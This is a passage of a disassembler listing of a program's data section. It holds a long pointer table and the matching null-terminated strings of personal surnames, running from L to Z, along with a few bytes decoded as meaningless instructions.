"Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" ; --------------------------------------------------------------------------- xor ah, ch inc edx add [esp+ebp*8], ah inc edx add [esp+ebp*8], bl inc edx add [esp+ebp*8], dl inc edx add [esp+ebp*8], cl inc edx add [esp+ebp*8], al inc edx add ah, bh jmp short loc_42EC21 ; --------------------------------------------------------------------------- align 10h dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EBE4o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EBE0o align 4 aZurn db 'Zurn',0 align 4 aZucconi db 'Zucconi',0 aZoldak db 'Zoldak',0 align 4 aZerbini db 'Zerbini',0 dd 6167655Ah db 6Eh ; --------------------------------------------------------------------------- loc_42EC21: ; CODE XREF: ___:0042EBDDj jnb short $+2 add [edx+61h], bl outsb db 67h ja near ptr 0EC93h insb insb ; --------------------------------------------------------------------------- dd 0 aZahedi db 'Zahedi',0 align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042EBC0o aYu db 'Yu',0 ; DATA XREF: ___:0042EBBCo align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EBB8o align 10h aYoo db 'Yoo',0 ; DATA XREF: ___:0042EBB4o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EBB0o align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EBACo align 4 aYesson db 'Yesson',0 ; DATA XREF: ___:0042EBA8o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EBA4o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EBA0o align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042EB9Co align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EB98o aYankee db 'Yankee',0 ; DATA XREF: ___:0042EB94o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0042EB90o align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042EB8Co align 4 aVotey db 'Votey',0 ; DATA XREF: ___:0042EB88o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EB84o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EB80o align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0042EB7Co align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042EB78o align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0042EB74o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EB70o align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0042EB6Co align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EB68o align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0042EB64o aVitali db 'Vitali',0 ; DATA XREF: ___:0042EB60o align 4 aWilson db 'Wilson',0 ; DATA XREF: ___:0042EB5Co align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EB58o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EB54o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EB50o align 10h aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EB4Co align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042EB48o align 10h aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EB44o aWilder db 'Wilder',0 ; DATA XREF: ___:0042EB40o align 10h aVignola db 'Vignola',0 ; DATA XREF: ___:0042EB3Co aViens db 'Viens',0 ; DATA XREF: ___:0042EB38o align 10h aWiener db 'Wiener',0 ; DATA XREF: ___:0042EB34o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EB30o aViano db 'Viano',0 ; DATA XREF: ___:0042EB2Co align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042EB28o align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EB24o align 10h aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EB20o align 4 aWhite db 'White',0 ; DATA XREF: ___:0042EB1Co align 10h aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EB18o aWhately db 'Whately',0 ; DATA XREF: ___:0042EB14o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EB10o align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042EB0Co aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EB08o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042EB04o align 4 aWengret db 'Wengret',0 ; DATA XREF: ___:0042EB00o aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EAFCo align 4 aWelles db 'Welles',0 ; DATA XREF: ___:0042EAF8o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EAF4o align 4 aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EAF0o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EAECo align 10h aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EAE8o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EAE4o align 4 aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EAE0o align 4 aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EADCo align 4 aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EAD8o aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EAD4o align 10h aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EAD0o align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EACCo align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EAC8o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EAC4o aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EAC0o align 4 aWalter db 'Walter',0 ; DATA XREF: ___:0042EABCo align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EAB8o align 10h aWales db 'Wales',0 ; DATA XREF: ___:0042EAB4o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042EAB0o align 4 aValberg db 'Valberg',0 ; DATA XREF: ___:0042EAACo aWaite db 'Waite',0 ; DATA XREF: ___:0042EAA8o align 4 aVacca db 'Vacca',0 ; DATA XREF: ___:0042EAA4o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EAA0o align 4 aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EA9Co align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EA98o align 4 aUrban db 'Urban',0 ; DATA XREF: ___:0042EA94o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EA90o aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EA8Co align 4 aUllman db 'Ullman',0 ; DATA XREF: ___:0042EA88o align 10h aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EA84o align 4 aTwells db 'Twells',0 ; DATA XREF: ___:0042EA80o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EA7Co align 4 aTurek db 'Turek',0 ; DATA XREF: ___:0042EA78o align 4 aTurano db 'Turano',0 ; DATA XREF: ___:0042EA74o align 4 aTukan db 'Tukan',0 ; DATA XREF: ___:0042EA70o align 4 aTudge db 'Tudge',0 ; DATA XREF: ___:0042EA6Co align 4 aTuck db 'Tuck',0 ; DATA XREF: ___:0042EA68o align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EA64o align 10h aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EA60o align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EA5Co aTruss db 'Truss',0 ; DATA XREF: ___:0042EA58o align 4 aTroy db 'Troy',0 ; DATA XREF: ___:0042EA54o align 4 aTroiani db 'Troiani',0 ; DATA XREF: ___:0042EA50o aTringali db 'Tringali',0 ; DATA XREF: ___:0042EA4Co align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042EA48o align 10h aTrenga db 'Trenga',0 ; DATA XREF: ___:0042EA44o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042EA40o align 4 aToye db 'Toye',0 ; DATA XREF: ___:0042EA3Co align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042EA38o align 4 aTorske db 'Torske',0 ; DATA XREF: ___:0042EA34o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042EA30o aTopulos db 'Topulos',0 ; DATA XREF: ___:0042EA2Co aToomer db 'Toomer',0 ; DATA XREF: ___:0042EA28o align 4 aTomford db 'Tomford',0 ; DATA XREF: ___:0042EA24o aTolman db 'Tolman',0 ; DATA XREF: ___:0042EA20o align 4 aTolls db 'Tolls',0 ; DATA XREF: ___:0042EA1Co align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042EA18o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042EA14o align 4 aTimmons db 'Timmons',0 ; DATA XREF: ___:0042EA10o aTill db 'Till',0 ; DATA XREF: ___:0042EA0Co align 4 aTierney db 'Tierney',0 ; DATA XREF: ___:0042EA08o aThroop db 'Throop',0 ; DATA XREF: ___:0042EA04o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042EA00o aThisted db 'Thisted',0 ; DATA XREF: ___:0042E9FCo aThibault db 'Thibault',0 ; DATA XREF: ___:0042E9F8o align 10h aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E9F4o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E9F0o align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E9ECo align 10h aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E9E8o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E9E4o align 4 aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E9E0o align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E9DCo align 4 aTeague db 'Teague',0 ; DATA XREF: ___:0042E9D8o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E9D4o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E9D0o align 10h aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E9CCo aTatar db 'Tatar',0 ; DATA XREF: ___:0042E9C8o align 10h aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E9C4o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E9C0o aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E9BCo aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E9B8o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E9B4o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E9B0o aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E9ACo aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E9A8o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E9A4o align 4 aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E9A0o align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E99Co aSumner db 'Sumner',0 ; DATA XREF: ___:0042E998o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E994o align 4 aStringer db 'Stringer',0 ; DATA XREF: ___:0042E990o align 10h aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E98Co aStrauch db 'Strauch',0 ; DATA 